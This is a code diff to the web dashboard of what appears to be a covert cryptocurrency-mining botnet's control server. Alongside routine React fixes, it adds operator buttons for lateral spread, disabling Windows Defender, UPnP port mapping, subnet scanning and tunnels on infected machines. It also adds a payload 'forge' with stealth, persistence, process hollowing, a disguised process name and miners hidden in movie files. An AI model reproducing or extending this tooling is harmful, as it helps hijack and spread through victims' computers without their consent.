-import type { WSCommandResult } from '../../types/ws'; +import type { Agent } from '../../types'; +import type { SeqCommandResult } from '../../context/WebSocketContext'; +import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions'; import './AgentRemoteActions.css'; +const TERMINAL_MAX_LINES = 500; + interface Props { /** Legacy: pass full agent object from list/detail pages */ agent?: Agent; @@ -12,7 +15,11 @@ interface Props { /** Explicit online flag — use when agent object may be stale */ online?: boolean; compact?: boolean; - latestWsMessage?: WSMessage | null; + /** Queue of recent command_result messages from the WS hook — replaces latestWsMessage. + * Every entry is processed; no results are dropped (fixes M13). */ + commandResults?: SeqCommandResult[]; + /** @deprecated Pass commandResults instead. */ + latestWsMessage?: { type: string; payload: unknown } | null; onCommandSent?: (action: string) => void; } @@ -22,7 +29,7 @@ export default function AgentRemoteActions({ agentName: agentNameProp, online: onlineProp, compact = false, - latestWsMessage, + commandResults, onCommandSent, }: Props) { const agentId = agentIdProp ?? agent?.id ?? ''; @@ -31,32 +38,58 @@ export default function AgentRemoteActions({ const [isDragging, setIsDragging] = useState(false); const [customCmd, setCustomCmd] = useState(''); + // terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6) const [terminalLog, setTerminalLog] = useState([]); const [screenshotData, setScreenshotData] = useState(null); const [busy, setBusy] = useState(null); const logEndRef = useRef(null); + // Track the highest _seq we've already processed. + // Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug + // where .slice(-N) trims old entries so absolute indices exceed the array length. + const lastSeenSeq = useRef(0); const addLog = useCallback((msg: string) => { - setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]); + setTerminalLog((prev) => { + const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]; + // Cap at TERMINAL_MAX_LINES — drop oldest entries (L6) + return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next; + }); }, []); useEffect(() => { logEndRef.current?.scrollIntoView({ behavior: 'smooth' }); }, [terminalLog]); + // When the selected agent changes, reset the seen-seq cursor to the current maximum. + // This prevents reprocessing results from the previous agent or a stale queue. useEffect(() => { - if (!latestWsMessage || latestWsMessage.type !== 'command_result') return; - const payload = latestWsMessage.payload as WSCommandResult; - const { agent_id, action, success, message } = payload; - if (agentId && agentId !== 'all' && agent_id !== agentId) return; - - if (action === 'screenshot' && success && message) { - setScreenshotData(`data:image/jpeg;base64,${message}`); - addLog(`Screenshot received from ${agent_id}`); - } else if (action) { - addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`); + if (commandResults && commandResults.length > 0) { + lastSeenSeq.current = commandResults[commandResults.length - 1]._seq; } - }, [latestWsMessage, agentId, addLog]); + // Intentionally only runs on agentId change — commandResults excluded from deps + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [agentId]); + + // Process every new commandResults entry we haven't seen yet (M13 — no drops). + // Filters by _seq so the ring-buffer trim never makes us miss results. + useEffect(() => { + if (!commandResults || commandResults.length === 0) return; + const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current); + if (newEntries.length === 0) return; + lastSeenSeq.current = newEntries[newEntries.length - 1]._seq; + + for (const payload of newEntries) { + const { agent_id, action, success, message } = payload; + if (agentId && agentId !== 'all' && agent_id !== agentId) continue; + + if (action === 'screenshot' && success && message) { + setScreenshotData(`data:image/jpeg;base64,${message}`); + addLog(`Screenshot received from ${agent_id}`); + } else if (action) { + addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`); + } + } + }, [commandResults, agentId, addLog]); const dispatch = async (action: string, args: Record = {}) => { if (!agentId) { @@ -69,6 +102,9 @@ export default function AgentRemoteActions({ } if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return; if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return; + if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return; + if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return; + if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return; setBusy(action); try { @@ -130,6 +166,14 @@ export default function AgentRemoteActions({ } const isFleet = agentId === 'all'; + const caps = agent?.capabilities; + const platform = agent?.platform; + + const aggDisabled = (action: Parameters[0]) => + !isOnline || !!busy || !canRunAggressiveAction(action, caps, platform); + + const aggTitle = (action: Parameters[0]) => + aggressiveActionHint(action, caps, platform); return (
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
+ +
+

NAT & Aggressive Ops

+

Point-and-shoot — requires Advanced forge toggles on the agent.

+
+ + + + + + + + + +
+
{screenshotData && ( diff --git a/server/web/src/components/Fleet/FleetPanels.css b/server/web/src/components/Fleet/FleetPanels.css index 1cfb4cd..c790488 100644 --- a/server/web/src/components/Fleet/FleetPanels.css +++ b/server/web/src/components/Fleet/FleetPanels.css @@ -121,12 +121,6 @@ grid-column: span 2; } -.agent-actions { - display: flex; - flex-wrap: wrap; - gap: 0.5rem; - margin-top: 1rem; -} .agent-action-btn { padding: 0.4rem 0.75rem; diff --git a/server/web/src/components/Fleet/FleetPanels.tsx b/server/web/src/components/Fleet/FleetPanels.tsx index 0700d32..b76ad4b 100644 --- a/server/web/src/components/Fleet/FleetPanels.tsx +++ b/server/web/src/components/Fleet/FleetPanels.tsx @@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) { setXmrPerDay(null); return; } + // AbortController ensures a stale in-flight response never overwrites a + // newer estimate when hashrate changes rapidly (fixes M16). + const controller = new AbortController(); api.getEarningsEstimate(hashrate).then((r) => { - setXmrPerDay(r.xmr_per_day); - setNote(r.note); - }).catch(console.error); + if (!controller.signal.aborted) { + setXmrPerDay(r.xmr_per_day); + setNote(r.note); + } + }).catch((err) => { if (!controller.signal.aborted) console.error(err); }); + return () => controller.abort(); }, [hashrate]); if (xmrPerDay == null || hashrate <= 0) return null; diff --git a/server/web/src/components/Visual/MatrixStreamOverlay.tsx b/server/web/src/components/Visual/MatrixStreamOverlay.tsx index 211ca5c..68bd74d 100644 --- a/server/web/src/components/Visual/MatrixStreamOverlay.tsx +++ b/server/web/src/components/Visual/MatrixStreamOverlay.tsx @@ -5,6 +5,11 @@ import './MatrixStreamOverlay.css'; export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) { const { recentShares } = useWebSocket(); const canvasRef = useRef(null); + // Keep a ref to the latest shares so the draw loop always sees fresh data + // WITHOUT being listed as a useEffect dependency — this stops the animation + // from restarting every time a new share arrives (fixes L7). + const sharesRef = useRef(recentShares); + sharesRef.current = recentShares; useEffect(() => { if (!active || !canvasRef.current) return; @@ -25,33 +30,29 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole let drops: number[] = Array(Math.floor(columns)).fill(1); const draw = () => { - // Black BG for the canvas - // translucent BG to show trail ctx.fillStyle = 'rgba(0, 0, 0, 0.05)'; ctx.fillRect(0, 0, canvas.width, canvas.height); - ctx.fillStyle = '#0F0'; // Green text + ctx.fillStyle = '#0F0'; ctx.font = `${fontSize}px monospace`; + const shares = sharesRef.current; for (let i = 0; i < drops.length; i++) { let text = letters.charAt(Math.floor(Math.random() * letters.length)); - // Occasionally drop a raw share payload in the stream - if (Math.random() > 0.99 && recentShares.length > 0) { - const share = recentShares[Math.floor(Math.random() * recentShares.length)]; - text = JSON.stringify({ agent: share.agent_id?.substring(0,6), hash: share.hash?.substring(0,8), valid: share.accepted }); + if (Math.random() > 0.99 && shares.length > 0) { + const share = shares[Math.floor(Math.random() * shares.length)]; + text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted }); ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444'; ctx.fillText(text, i * fontSize, drops[i] * fontSize); - ctx.fillStyle = '#0F0'; // Reset color + ctx.fillStyle = '#0F0'; } else { ctx.fillText(text, i * fontSize, drops[i] * fontSize); } - // sending the drop back to the top randomly after it has crossed the screen if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) { drops[i] = 0; } - drops[i]++; } }; @@ -61,7 +62,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole clearInterval(interval); window.removeEventListener('resize', resize); }; - }, [active, recentShares]); + }, [active]); // recentShares intentionally excluded — read via sharesRef if (!active) return null; diff --git a/server/web/src/context/WebSocketContext.tsx b/server/web/src/context/WebSocketContext.tsx new file mode 100644 index 0000000..d816d02 --- /dev/null +++ b/server/web/src/context/WebSocketContext.tsx @@ -0,0 +1,40 @@ +import React, { createContext, useContext } from 'react'; +import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types'; +import type { WSCommandResult } from '../types/ws'; + +/** + * WSCommandResult with a monotonic sequence number attached by the provider. + * Consumers should track `_seq` instead of array index to avoid the ring-buffer + * drop bug that occurs when `.slice(-N)` trims the array but the stored index + * remains >= N. + */ +export type SeqCommandResult = WSCommandResult & { _seq: number }; + +export interface WebSocketContextValue { + isConnected: boolean; + agents: Agent[]; + recentShares: Share[]; + fleetAlerts: FleetAlert[]; + poolStatus: PoolStatus[]; + aiActivity: AIActivityEntry[]; + agentLogs: Record; + commandResults: SeqCommandResult[]; + /** @deprecated Use commandResults instead. */ + latestMessage: WSMessage | null; +} + +export const WebSocketContext = createContext({ + isConnected: false, + agents: [], + recentShares: [], + fleetAlerts: [], + poolStatus: [], + aiActivity: [], + agentLogs: {}, + commandResults: [], + latestMessage: null, +}); + +export function useWebSocketContext(): WebSocketContextValue { + return useContext(WebSocketContext); +} diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx new file mode 100644 index 0000000..a83f2e5 --- /dev/null +++ b/server/web/src/context/WebSocketProvider.tsx @@ -0,0 +1,192 @@ +import React, { useEffect, useRef, useCallback, useState } from 'react'; +import type { + WSDashboardInit, + WSAgentOffline, + WSStatsUpdate, + WSCommandResult, + WSAgentLog, +} from '../types/ws'; +import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types'; +import { WebSocketContext } from './WebSocketContext'; +import type { SeqCommandResult } from './WebSocketContext'; + +/** + * WebSocketProvider mounts a SINGLE WebSocket connection for the whole app. + * All components call useWebSocket() and receive data from this one connection + * — fixes M12 (duplicate connections when multiple components called the hook). + */ +export function WebSocketProvider({ children }: { children: React.ReactNode }) { + const wsRef = useRef(null); + const reconnectTimer = useRef | null>(null); + const unmounted = useRef(false); + const [isConnected, setIsConnected] = useState(false); + const [agents, setAgents] = useState([]); + const [recentShares, setRecentShares] = useState([]); + const [fleetAlerts, setFleetAlerts] = useState([]); + const [poolStatus, setPoolStatus] = useState([]); + const [aiActivity, setAiActivity] = useState([]); + const [agentLogs, setAgentLogs] = useState>({}); + const [commandResults, setCommandResults] = useState([]); + const [latestMessage, setLatestMessage] = useState(null); + // Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones + const cmdSeqRef = useRef(0); + + const connect = useCallback(() => { + if (unmounted.current) return; + + if (reconnectTimer.current) { + clearTimeout(reconnectTimer.current); + reconnectTimer.current = null; + } + + const existing = wsRef.current; + if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) { + existing.close(); + } + + const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; + const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`; + const ws = new WebSocket(wsUrl); + wsRef.current = ws; + + ws.onopen = () => { if (!unmounted.current) setIsConnected(true); }; + + ws.onclose = () => { + if (unmounted.current) return; + setIsConnected(false); + if (reconnectTimer.current) clearTimeout(reconnectTimer.current); + reconnectTimer.current = setTimeout(connect, 3000); + }; + + ws.onerror = () => { ws.close(); }; + + ws.onmessage = (event) => { + try { + const msg = JSON.parse(event.data) as WSMessage; + setLatestMessage(msg); + + switch (msg.type) { + case 'init': { + const data = msg.payload as WSDashboardInit; + if (data.agents) setAgents(data.agents); + break; + } + case 'agent_online': { + const agent = msg.payload as Agent; + setAgents((prev) => { + const idx = prev.findIndex((a) => a.id === agent.id); + if (idx >= 0) { + const updated = [...prev]; + updated[idx] = { ...updated[idx], ...agent }; + return updated; + } + return [...prev, agent]; + }); + break; + } + case 'agent_offline': { + const { agent_id } = msg.payload as WSAgentOffline; + setAgents((prev) => + prev.map((a) => a.id === agent_id ? { ...a, status: 'offline' as const } : a) + ); + break; + } + case 'stats_update': { + const update = msg.payload as WSStatsUpdate; + setAgents((prev) => + prev.map((a) => + a.id === update.agent_id + ? { + ...a, + hashrate_15s: update.hashrate_15s, + hashrate_1m: update.hashrate_1m, + hashrate_15m: update.hashrate_15m, + cpu_usage_pct: update.cpu_usage_pct, + memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct, + uptime_seconds: update.uptime_seconds ?? a.uptime_seconds, + shares_total: update.shares_submitted ?? a.shares_total, + shares_good: update.shares_accepted ?? a.shares_good, + shares_bad: Math.max( + 0, + (update.shares_submitted ?? a.shares_total) - + (update.shares_accepted ?? a.shares_good) + ), + status: 'online' as const, + } + : a + ) + ); + break; + } + case 'new_share': { + const share = msg.payload as Share; + setRecentShares((prev) => [share, ...prev].slice(0, 50)); + break; + } + case 'fleet_alert': { + const alert = msg.payload as FleetAlert; + setFleetAlerts((prev) => [alert, ...prev].slice(0, 20)); + break; + } + case 'pool_status': { + const pools = msg.payload as PoolStatus[]; + if (Array.isArray(pools)) setPoolStatus(pools); + break; + } + case 'ai_activity': { + const entry = msg.payload as AIActivityEntry; + setAiActivity((prev) => { + const idx = prev.findIndex((a) => a.agent_id === entry.agent_id); + if (idx >= 0) { + const next = [...prev]; + next[idx] = entry; + return next; + } + return [...prev, entry]; + }); + break; + } + case 'command_result': { + const p = msg.payload as WSCommandResult; + const seq = ++cmdSeqRef.current; + // Cap at 2000; command results are rare (operator-triggered) so this is plenty. + // Consumers MUST use _seq for change detection — NOT array index — because the + // slice trims old entries and makes absolute indices stale. + setCommandResults((prev) => [...prev, { ...p, _seq: seq }].slice(-2000)); + if (p.agent_id && p.action === 'get_log' && p.success && p.message) { + setAgentLogs((prev) => ({ ...prev, [p.agent_id!]: p.message! })); + } + break; + } + case 'agent_log': { + const { agent_id, content } = msg.payload as WSAgentLog; + if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content })); + break; + } + } + } catch (err) { + console.error('Failed to parse WebSocket message:', err); + } + }; + }, []); + + useEffect(() => { + unmounted.current = false; + connect(); + return () => { + unmounted.current = true; + if (reconnectTimer.current) clearTimeout(reconnectTimer.current); + const ws = wsRef.current; + if (ws) { ws.onclose = null; ws.close(); } + }; + }, [connect]); + + return ( + + {children} + + ); +} diff --git a/server/web/src/help/aggressiveActions.ts b/server/web/src/help/aggressiveActions.ts new file mode 100644 index 0000000..271f46b --- /dev/null +++ b/server/web/src/help/aggressiveActions.ts @@ -0,0 +1,65 @@ +import type { AgentCapabilities } from '../types'; + +/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */ +export const AGGRESSIVE_REMOTE_ACTIONS = [ + 'hole_punch', + 'hole_punch_close', + 'hole_punch_status', + 'spread_now', + 'start_tunnel', + 'subnet_scan', + 'defender_off', + 'firewall_punch', + 'mesh_status', +] as const; + +export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number]; + +export function canRunAggressiveAction( + action: AggressiveRemoteAction, + caps?: AgentCapabilities | null, + platform?: string +): boolean { + if (platform === 'darwin' && action === 'defender_off') return false; + if (!caps) return true; + switch (action) { + case 'hole_punch': + case 'hole_punch_close': + case 'hole_punch_status': + return caps.hole_punch; + case 'spread_now': + return caps.auto_spread || caps.remote_aggressive; + case 'start_tunnel': + case 'subnet_scan': + case 'defender_off': + case 'firewall_punch': + return caps.remote_aggressive; + case 'mesh_status': + return caps.mesh_p2p; + default: + return false; + } +} + +export function aggressiveActionHint( + action: AggressiveRemoteAction, + caps?: AgentCapabilities | null, + platform?: string +): string | undefined { + if (platform === 'darwin' && action === 'defender_off') { + return 'Defender disable not supported on macOS'; + } + if (canRunAggressiveAction(action, caps, platform)) return undefined; + switch (action) { + case 'hole_punch': + case 'hole_punch_close': + case 'hole_punch_status': + return 'Re-forge with Advanced → NAT Hole Punch'; + case 'spread_now': + return 'Re-forge with Auto-Spread or Remote Aggressive Ops'; + case 'mesh_status': + return 'Re-forge with Mesh P2P'; + default: + return 'Re-forge with Remote Aggressive Ops (Advanced)'; + } +} diff --git a/server/web/src/help/forgeCompatibility.ts b/server/web/src/help/forgeCompatibility.ts index 438ae13..38a1b28 100644 --- a/server/web/src/help/forgeCompatibility.ts +++ b/server/web/src/help/forgeCompatibility.ts @@ -210,5 +210,45 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect }); } + if (form.spread_kit && form.target_os !== 'universal') { + checks.push({ + id: 'spread_kit_os', + level: 'error', + message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.', + }); + } + + if (form.spread_kit && form.fusion_enabled) { + checks.push({ + id: 'spread_fusion', + level: 'error', + message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.', + }); + } + + if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) { + checks.push({ + id: 'universal_deliverable', + level: 'warn', + message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.', + }); + } + + if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) { + checks.push({ + id: 'hollow_unix', + level: 'error', + message: 'Process hollowing is not available on Linux or macOS.', + }); + } + + if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) { + checks.push({ + id: 'sign_unix', + level: 'error', + message: 'Authenticode signing only applies to Windows builds.', + }); + } + return checks; } diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index 835a57b..99c44b0 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -13,7 +13,7 @@ export const FORGE_BUILD_DEFAULTS: Omit< mining_mode: 'idle', display_mode: 'background', silent_mode: true, - run_as: 'user', + run_as: 'scheduled', auto_start: true, persistence: true, process_name: 'RuntimeBrokerHelper', @@ -45,6 +45,11 @@ export const FORGE_BUILD_DEFAULTS: Omit< process_hollowing: false, mesh_p2p: false, auto_spread: false, + hole_punch: false, + remote_aggressive: false, + target_os: 'windows', + target_arch: 'all', + spread_kit: false, obfuscate: false, sign_build: false, }; diff --git a/server/web/src/help/forgeFormNormalize.test.ts b/server/web/src/help/forgeFormNormalize.test.ts new file mode 100644 index 0000000..5a3d58f --- /dev/null +++ b/server/web/src/help/forgeFormNormalize.test.ts @@ -0,0 +1,70 @@ +import { describe, expect, it } from 'vitest'; +import { + applyDeliverableType, + deriveDeliverableType, + normalizeForgeForm, + spreadKitPreset, +} from './forgeFormNormalize'; +import type { BuildRequest } from '../types'; +import { FORGE_BUILD_DEFAULTS } from './forgeDefaults'; + +function baseForm(overrides: Partial = {}): BuildRequest { + return { + worker_name: 'pc-1', + server_url: 'http://192.168.1.5:8989', + wallet: '4' + 'A'.repeat(94), + pool_host: 'pool.example.com', + pool_port: 3333, + pool_tls: false, + pool_pass: 'x', + ...FORGE_BUILD_DEFAULTS, + ...overrides, + } as BuildRequest; +} + +describe('forgeFormNormalize', () => { + it('derives deliverable type from flags', () => { + expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion'); + expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit'); + expect(deriveDeliverableType(baseForm())).toBe('single'); + }); + + it('spread kit forces universal and clears fusion', () => { + const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' })); + expect(out.spread_kit).toBe(true); + expect(out.fusion_enabled).toBe(false); + expect(out.target_os).toBe('universal'); + }); + + it('linux target clears sign_build and fixes install base', () => { + const out = normalizeForgeForm( + baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' }) + ); + expect(out.sign_build).toBe(false); + expect(out.install_base).toBe('xdg_data_home'); + expect(out.target_arch).toBe('amd64'); + }); + + it('single deliverable cannot stay universal', () => { + const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single'); + expect(out.target_os).toBe('windows'); + expect(out.spread_kit).toBe(false); + }); + + it('spread kit preset enables persistence and stealth', () => { + const out = applyDeliverableType(baseForm(), 'spread_kit'); + expect(out.spread_kit).toBe(true); + expect(out.persistence).toBe(true); + expect(out.stealth_mode).toBe(true); + expect(spreadKitPreset().remote_aggressive).toBe(true); + }); + + it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => { + const out = normalizeForgeForm( + baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 }) + ); + // Values are preserved — the backend ignores them when mining_mode !== 'idle' + expect(out.idle_threshold_pct).toBe(99); + expect(out.idle_duration_minutes).toBe(30); + }); +}); diff --git a/server/web/src/help/forgeFormNormalize.ts b/server/web/src/help/forgeFormNormalize.ts new file mode 100644 index 0000000..e7dcdc3 --- /dev/null +++ b/server/web/src/help/forgeFormNormalize.ts @@ -0,0 +1,239 @@ +import type { BuildRequest } from '../types'; + +/** UI deliverable — derived from forge flags, not sent to the API. */ +export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion'; + +export interface InstallBaseOption { + value: string; + label: string; + hint?: string; +} + +const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [ + { value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' }, + { value: 'appdata', label: 'Roaming App Data (%APPDATA%)' }, + { value: 'programdata', label: 'Program Data (%ProgramData%)' }, + { value: 'userprofile', label: 'User Profile (%USERPROFILE%)' }, + { value: 'temp', label: 'Temp Folder (%TEMP%)' }, + { value: 'custom', label: 'Custom path…' }, +]; + +const UNIX_INSTALL_BASES: InstallBaseOption[] = [ + { value: 'xdg_data_home', label: 'XDG data (~/.local/share)' }, + { value: 'home', label: 'Home folder (~)' }, + { value: 'temp', label: 'Temp (/tmp or $TMPDIR)' }, + { value: 'custom', label: 'Custom path…' }, +]; + +const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [ + { + value: 'localappdata', + label: 'Stealth cache location (auto per OS)', + hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support', + }, + { value: 'home', label: 'User home (all platforms)' }, + { value: 'temp', label: 'Temp folder (all platforms)' }, + { value: 'custom', label: 'Custom path…' }, +]; + +export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable { + if (form.fusion_enabled) return 'fusion'; + if (form.spread_kit) return 'spread_kit'; + return 'single'; +} + +export function deliverableSummary(type: ForgeDeliverable): string { + switch (type) { + case 'fusion': + return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.'; + case 'spread_kit': + return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.'; + default: + return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).'; + } +} + +/** Recommended toggles when Spread Kit is selected. */ +export function spreadKitPreset(): Partial { + return { + spread_kit: true, + fusion_enabled: false, + target_os: 'universal', + target_arch: 'all', + run_as: 'scheduled', + persistence: true, + auto_start: true, + self_healing: true, + stealth_mode: true, + silent_mode: true, + file_logging: false, + firewall_exclusion: true, + display_mode: 'background', + mining_mode: 'idle', + process_hollowing: false, + hole_punch: false, + remote_aggressive: true, + auto_spread: false, + }; +} + +export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] { + const t = targetOs || 'windows'; + if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES; + if (t === 'universal') return UNIVERSAL_INSTALL_BASES; + return WINDOWS_INSTALL_BASES; +} + +function isWindowsOnlyTarget(targetOs?: string): boolean { + return !targetOs || targetOs === 'windows'; +} + +function isSingleUnixTarget(targetOs?: string): boolean { + return targetOs === 'linux' || targetOs === 'darwin'; +} + +/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */ +export function normalizeForgeForm(form: BuildRequest): BuildRequest { + const next: BuildRequest = { ...form }; + + // Deliverable coupling — spread kit wins if both flags were somehow set + if (next.spread_kit) { + next.fusion_enabled = false; + next.target_os = 'universal'; + next.target_arch = 'all'; + } else if (next.fusion_enabled) { + next.spread_kit = false; + if (next.target_os === 'windows' || !next.target_os) { + next.target_os = 'universal'; + } + next.display_mode = 'background'; + next.silent_mode = true; + } + + if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') { + next.target_os = 'windows'; + next.spread_kit = false; + } + + // Architecture + if (isSingleUnixTarget(next.target_os)) { + if (!next.target_arch || next.target_arch === 'all') { + next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64'; + } + } else { + next.target_arch = 'all'; + } + + // Windows-only forge pipeline + if (!isWindowsOnlyTarget(next.target_os)) { + next.sign_build = false; + if (next.target_os !== 'universal') { + next.obfuscate = false; + } + } + + // Process hollowing — Windows workers only + if (isSingleUnixTarget(next.target_os)) { + next.process_hollowing = false; + } + + // Install base matches target OS family + const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']); + const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']); + if (isSingleUnixTarget(next.target_os)) { + if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') { + next.install_base = 'xdg_data_home'; + } + } else if (isWindowsOnlyTarget(next.target_os)) { + if (next.install_base === 'xdg_data_home') { + next.install_base = 'localappdata'; + } + } + + if (next.install_base !== 'custom') { + next.install_custom_base = ''; + } + + // Stealth / display + if (next.stealth_mode) { + next.file_logging = false; + if (next.display_mode === 'visible') { + next.display_mode = 'background'; + } + next.silent_mode = true; + } + + // Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match) + if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20; + if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5; + if (!next.schedule_start) next.schedule_start = '21:00'; + if (!next.schedule_end) next.schedule_end = '06:00'; + + // Thread mode + if (next.thread_mode === 'percent') { + if (next.thread_percent < 1 || next.thread_percent > 100) { + next.thread_percent = 75; + } + } else if (next.threads < 1) { + next.threads = 4; + } + + // Run-as forces persistence + if (next.run_as === 'scheduled' || next.run_as === 'service') { + next.persistence = true; + next.auto_start = true; + } + + // AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty + if (!next.ai_enabled) { + next.ai_ollama_endpoint = 'http://localhost:11434'; + next.ai_model = 'llama3.2'; + } else { + if (!next.ai_ollama_endpoint?.trim()) { + next.ai_ollama_endpoint = 'http://localhost:11434'; + } + if (!next.ai_model?.trim()) { + next.ai_model = 'llama3.2'; + } + } + + // Fusion-only fields + if (!next.fusion_enabled) { + next.fusion_media_base_name = ''; + next.fusion_export_subdir = ''; + if (next.fusion_payload_kind === 'video') { + next.fusion_payload_kind = 'exe'; + } + } + + return next; +} + +/** Apply a deliverable preset — call from UI when user picks build type. */ +export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest { + const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false }; + + switch (type) { + case 'fusion': + return normalizeForgeForm({ + ...base, + fusion_enabled: true, + target_os: 'universal', + target_arch: 'all', + display_mode: 'background', + silent_mode: true, + fusion_media_mode: base.fusion_media_mode || 'paired', + fusion_payload_kind: base.fusion_payload_kind || 'exe', + }); + case 'spread_kit': + return normalizeForgeForm({ + ...base, + ...spreadKitPreset(), + }); + default: + return normalizeForgeForm({ + ...base, + target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows', + }); + } +} diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index 3710c28..dcea709 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -1,4 +1,5 @@ import type { BuildRequest } from '../types'; +import { normalizeForgeForm } from './forgeFormNormalize'; export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires'; @@ -102,10 +103,58 @@ export function applyForgeFieldUpdate( next.persistence = value === true; break; + case 'target_os': + if (value !== 'windows' && value !== 'universal') { + next.process_hollowing = false; + next.sign_build = false; + if (value !== 'universal') { + next.obfuscate = false; + } + } + if (value === 'linux' || value === 'darwin') { + next.spread_kit = false; + next.target_arch = value === 'darwin' ? 'arm64' : 'amd64'; + if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) { + next.install_base = 'xdg_data_home'; + } + } else if (value === 'windows') { + next.target_arch = 'all'; + if (next.install_base === 'xdg_data_home') { + next.install_base = 'localappdata'; + } + } else if (value === 'universal') { + next.target_arch = 'all'; + } + break; + case 'fusion_enabled': if (value === true) { next.display_mode = 'background'; next.silent_mode = true; + next.spread_kit = false; + if (!next.target_os || next.target_os === 'windows') { + next.target_os = 'universal'; + } + } + break; + + case 'spread_kit': + if (value === true) { + Object.assign(next, { + fusion_enabled: false, + target_os: 'universal', + target_arch: 'all', + run_as: 'scheduled', + persistence: true, + auto_start: true, + self_healing: true, + stealth_mode: true, + silent_mode: true, + file_logging: false, + firewall_exclusion: true, + display_mode: 'background', + process_hollowing: false, + }); } break; @@ -158,12 +207,8 @@ export function applyForgeFieldUpdate( break; case 'worker_name': - if (typeof value === 'string' && value.trim()) { - const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48); - if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) { - next.process_name = proc; - } - } + // Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the 